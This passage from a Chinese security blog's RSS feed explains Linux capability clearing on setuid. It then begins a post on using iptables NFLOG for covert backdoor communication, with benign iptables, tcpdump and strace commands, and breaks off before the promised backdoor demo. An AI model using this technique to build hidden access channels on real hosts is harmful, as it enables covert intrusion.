rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">useradd test</code>创建的普通用户</p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对比可以发现: root用户切换test用户后，能力变少了。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># ps</span><br/>  PID TTY          TIME CMD<br/>52739 pts/0    00:00:00 bash<br/>[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># cat /proc/52739/status|grep -i cap</span><br/>CapInh: 0000000000000000<br/>CapPrm: 000001ffffffffff<br/>CapEff: 000001ffffffffff<br/>CapBnd: 000001ffffffffff<br/>CapAmb: 0000000000000000<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">root用户通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">su - test</code>切换新用户后，为什么能力会变少呢？</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>为什么root用户切换到新用户后能力变少？</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">《Linux 内核安全模块深入剖析》6.4.2节中提到capset、capget、prctl三个系统调用都能改变进程的能力集，但是从下面可以看出来，su并没有用这三个系统调用</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># strace -f su - test 2&gt;&amp;1|grep -i cap</span><br/>[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># strace -f su - test 2&gt;&amp;1|grep -i -E &#39;\bprctl&#39;</span><br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在《Linux系统编程手册》39.6节中提到这种情况</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">为了与用户 ID 在 0 与非 0 之间切换的传统含义保持兼容，在改变进程的用户 ID(使用 setuid()等)时，内核会完成下列操作。<br/>1. 如果真实用户ID、有效用户ID或saved <span style="color: #e6c07b;line-height: 26px;">set</span>-user-ID之前的值为0，那么修改了用户 ID 之后，所有这三个 ID 的值都会变成非 0，并且进程的许可和有效能力集会被清除 (即所有的能力都被永久地删除了)。<br/>2. 如果有效用户 ID 从 0 变成了非 0，那么有效能力集会被清除(即有效能力被删除了，但那些位于许可集中的能力会被再次提升)。<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">也就是说，当用户调用setuid系统调用从特权用户变成非特权用户时，允许能力集和有效能力集会被清除。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面来验证一下，看看su程序是不是用到了setuid系统调用、setuid系统调用是不是真的可能清空能力集。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>验证setuid和能力的关系</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过strace可以观察到su程序确实调用了setuid</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># strace -f su - test 2&gt;&amp;1|grep setuid</span><br/>[pid 23628] setuid(1000 &lt;unfinished ...&gt;<br/>[pid 23628] &lt;... setuid resumed&gt;)       = 0<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">阅读内核代码后，也可以看到在cap_emulate_setxuid函数中内核清除了进程的能力集。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">代码位置在：<a href="https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L1005" target="_blank">https://elixir.bootlin.com/linux/v4.18/source/security/commoncap.c#L1005</a></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">static inline void cap_emulate_setxuid(struct cred *new, const struct cred *old)<br/>{<br/> ...<br/>   cap_clear(new-&gt;cap_permitted);<br/>   cap_clear(new-&gt;cap_effective);<br/> ...<br/>  cap_clear(new-&gt;cap_ambient);<br/> }<br/> ...<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">cap_emulate_setxuid函数因为inline被内敛优化，所以没有办法被bpftrace观察到，但我们可以观察它的调用者cap_task_fix_setuid函数。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">su - test</code>时，可以观察到执行了cap_task_fix_setuid函数，并且有效能力集从0x1ffffffffff变成0。如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># bpftrace -e &#39;kfunc:cap_task_fix_setuid /comm==&#34;su&#34;/ {printf(&#34;%x,%x\n&#34;, ((struct cred*)args-&gt;new)-&gt;cap_effective.cap[0], ((struct cred*)args-&gt;new)-&gt;cap_effective.cap[1]);}&#39;</span><br/>...<br/>ffffffff,1ff<br/>[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># bpftrace -e &#39;kretfunc:cap_task_fix_setuid /comm==&#34;su&#34;/ {printf(&#34;%x,%x\n&#34;, ((struct cred*)args-&gt;new)-&gt;cap_effective.cap[0], ((struct cred*)args-&gt;new)-&gt;cap_effective.cap[1]);}&#39;</span><br/>...<br/>0,0<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从setuid到cap_task_fix_setuid，函数调用栈如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># bpftrace -e &#39;kprobe:cap_task_fix_setuid /comm==&#34;su&#34;/ {printf(&#34;%s\n&#34;, kstack)}&#39;</span><br/>Attaching 1 probe...<br/>  cap_task_fix_setuid+1<br/>  security_task_fix_setuid+48<br/>  __sys_setuid+151    // setuid系统调用入口<br/>  do_syscall_64+91<br/>  entry_SYSCALL_64_after_hwframe+101<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4322446143154969" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2878" src="https://wechat2rss.xlab.app/img-proxy/?k=c6ca9d2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYz99shtfEnUqv3eP75icf3Kq7shA8QOYicr6grTNk53icJU29C5ibZM4rYhRTibFxOQKczadnEicYsnmdLA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以，setuid时root用户变成非root用户时，允许能力集和有效能力集会被清零。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">能力的计算机制感觉很复杂。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">普通用户在执行<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">strace xxx</code>后，xxx进程的有效能力集可以认为是strace文件和xxx文件的允许能力集的交集。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调用setuid系统调用从特权用户变成非特权用户时，允许能力集和有效能力集会被清除。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过阅读代码和bpftrace工具，可以定位到内核中处理能力的代码位置，进一步验证结论。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;"><code style="overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">man capabilities</code>: <em><a href="https://man7.org/linux/man-pages/man7/capabilities.7.html" target="_blank">https://man7.org/linux/man-pages/man7/capabilities.7.html</a></em></p></span><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[2]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">Linux ptrace 的实现: <em><a href="https://zhuanlan.zhihu.com/p/441291330" target="_blank">https://zhuanlan.zhihu.com/p/441291330</a></em></p></span></section></section><p><br/></p>



<p><a href="2247485216">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=13ff6aaa&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485216%26idx%3D1%26sn%3D44d5accefdd51f17ec41bb2b0e8d8642%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 09 Sep 2022 21:40:00 +0800</pubDate>
    </item>
    <item>
      <title>基于netfilter的后门</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485208&amp;idx=1&amp;sn=d5f9c5b638f927452dbfc314a1fb15cf</link>
      <description>NFLOG在蜜罐、后门实现时都能用上</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2022-08-30 14:40</span> <span style="display: inline-block;">北京</span>
</p>

<p>NFLOG在蜜罐、后门实现时都能用上</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=270fdf80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYyzr9oCJpW7nm0ppTXBbK8qQDogtvEht29vaheMkzdOk841FvNIwFr74WOzJm7icoAz5UYibylTIP5A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>背景</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">蜜罐产品有个功能是对任何端口的访问都会被记录，即使是&#34;nmap扫描后显示关闭&#34;的端口访问也会被记录。它的实现原理是iptables的NFLOG。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">学习NFLOG概念后，我想到也可以用它来做后门通信。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">本文包括以下内容</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">讨论NFLOG是什么</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">用NFLOG机制实现后门的优势分析</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">NFQUEUE后门demo</section></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">希望能对主机安全感兴趣的读者有点帮助</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>NFLOG是什么</h1><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">它是一个target，就像<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ACCEPT</code>、<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">DROP</code>等可以作为<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">iptables -j</code>后的参数值。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># iptables -A INPUT -p tcp -m multiport --dports 1:65535 -j NFLOG --nflog-group 2333</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">比如上面规则就会告诉内核协议栈，在收到包时，目的端口是1到65535的包，全部执行NFLOG动作。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">man iptables-extensions</code> 文档中也有关于NFLOG的说明</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">NFLOG<br/>    This  target  provides  logging of matching packets. When this target is <span style="color: #e6c07b;line-height: 26px;">set</span> <span style="color: #c678dd;line-height: 26px;">for</span> a rule, the Linux kernel will pass the packet to the loaded logging backend to <span style="color: #e6c07b;line-height: 26px;">log</span> the packet. This is usually<br/>    used <span style="color: #c678dd;line-height: 26px;">in</span> combination with nfnetlink_log as logging backend, <span style="color: #e6c07b;line-height: 26px;">which</span> will multicast the packet through a netlink socket to the specified multicast group. One or more userspace processes may  sub-<br/>    scribe to the group to receive the packets. Like LOG, this is a non-terminating target, i.e. rule traversal continues at the next rule.<br/>    --nflog-group nlgroup<br/>           The netlink group (0 - 2^16-1) to <span style="color: #e6c07b;line-height: 26px;">which</span> packets are (only applicable <span style="color: #c678dd;line-height: 26px;">for</span> nfnetlink_log). The default value is 0.<br/>    ...<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">-j NFLOG</code>和<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">-j LOG</code>有些类似，都可以记录数据包信息，执行动作后会继续匹配iptables规则中的下一条。区别是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">-j NFLOG</code>可以让用户态程序通过<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">netlink</code>从内核获得数据包信息。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">下面你可以和我一起做个小实验来验证一下,用户态程序是否可以通过<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">netlink</code>获取到数据包。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span style="display: none;"></span>用tcpdump验证</h1><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5049365303244006" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="2836" src="https://wechat2rss.xlab.app/img-proxy/?k=2bfbde13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYwCyf4P69r1BnlxEjxxRWqXxFYuNe45oajohOfMeliaMRnKibo8e3G3tUCdib1wUaAAHT7OiaCls8fyRg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第一步，你需要配置iptables的nflog规则。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># iptables -A INPUT -p tcp -m multiport --dports 65530:65535 -j NFLOG --nflog-group 2333</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第二步，使用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump</code>订阅netlink消息。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># tcpdump -i nflog:2333</span><br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">第三步，访问主机，验证<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump</code>是否能获取到数据包。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">curl x.x.x.x:65533</code> 后，可以抓到数据包。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># tcpdump -i nflog:2333</span><br/>...<br/>listening on nflog:2333, link-type NFLOG (Linux netfilter <span style="color: #e6c07b;line-height: 26px;">log</span> messages), capture size 262144 bytes<br/>11:42:15.175375 IP 111.197.238.30.22293 &gt; instance-h9w7mlyv.65533: Flags [S], seq 3599662212, win 65535, options [mss 1452,nop,wscale 6,nop,nop,TS val 3053845653 ecr 0,sackOK,eol], length 0<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">或许你会有一个问题：<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump -i nflog:2333</code>和<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump -i eth0</code>都可以获取数据包，有啥区别。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">从编程实现来看是有区别的，<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump -i eth0</code>是基于<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_PACKET</code>获取数据</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># strace tcpdump -i lo</span><br/>socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) = 3<br/>...<br/>setsockopt(3, SOL_PACKET, PACKET_RX_RING, 0x7ffeef157d10, 28) = 0     // Packet MMAP提高抓包性能，参考 <a href="https://github.com/torvalds/linux/blob/master/Documentation/networking/packet_mmap.rst" target="_blank">https://github.com/torvalds/linux/blob/master/Documentation/networking/packet_mmap.rst</a><br/>mmap(NULL, 4194304, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7fedba9a5000<br/>...<br/>setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x7ff0a4ee8000}, 16) = 0   // bpf filter<br/>setsockopt(3, SOL_SOCKET, SO_ATTACH_FILTER, {len=1, filter=0x56436b7fe480}, 16) = 0<br/>...<br/>poll([{fd=3, events=POLLIN}], 1, 1000)  = 0 (Timeout)<br/>poll([{fd=3, events=POLLIN}], 1, 1000)  = 1 ([{fd=3, revents=POLLIN}])<br/>write(1, <span style="color: #98c379;line-height: 26px;">&#34;12:27:16.575888 IP localhost.416&#34;</span>..., 16512:27:16.575888 IP localhost.41616 &gt; localhost.http: Flags [S], seq 3517707840, win 43690, options [mss 65495,sackOK,TS val 1304864277 ecr 0,nop,wscale 7], length 0<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tcpdump -i nflog:2333</code>是基于<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AF_NETLINK</code>获取数据</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">[root@instance-h9w7mlyv ~]<span style="color: #5c6370;font-style: italic;line-height: 26px;"># strace tcpdump -i nflog:2333</span><br/>socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER) = 3<br/>...<br/>recvfrom(3,[{{len=184, <span style="color: #e6c07b;line-height: 26px;">type</span>=NFNL_SUBSYS_ULOG&lt;&lt;8|NFULNL_MSG_PACKET, flags=0, seq=0, pid=0}, {nfgen_family=AF_INET, version=NFNETLINK_V0, res_id=htons(2333), [{{nla_len=8, nla_type=NFNETLINK_V1}, <span style="color: #98c379;line-height: 26px;">&#34;\x08\x00\x01\x00&#34;</span>}, {{nla_len=5, nla_type=0xa}, <span style="color: #98c379;line-height: 26px;">&#34;\x00&#34;</span>}, {{nla_len=8, nla_type=0x4}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x00\x00\x02&#34;</span>}, {{nla_len=16, nla_type=0x8}, <span style="color: #98c379;line-height: 26px;">&#34;\x00\x06\x00\x00\xfa\x16\x3e\xd1\x8d\x2d\x00\x00&#34;</span>}, 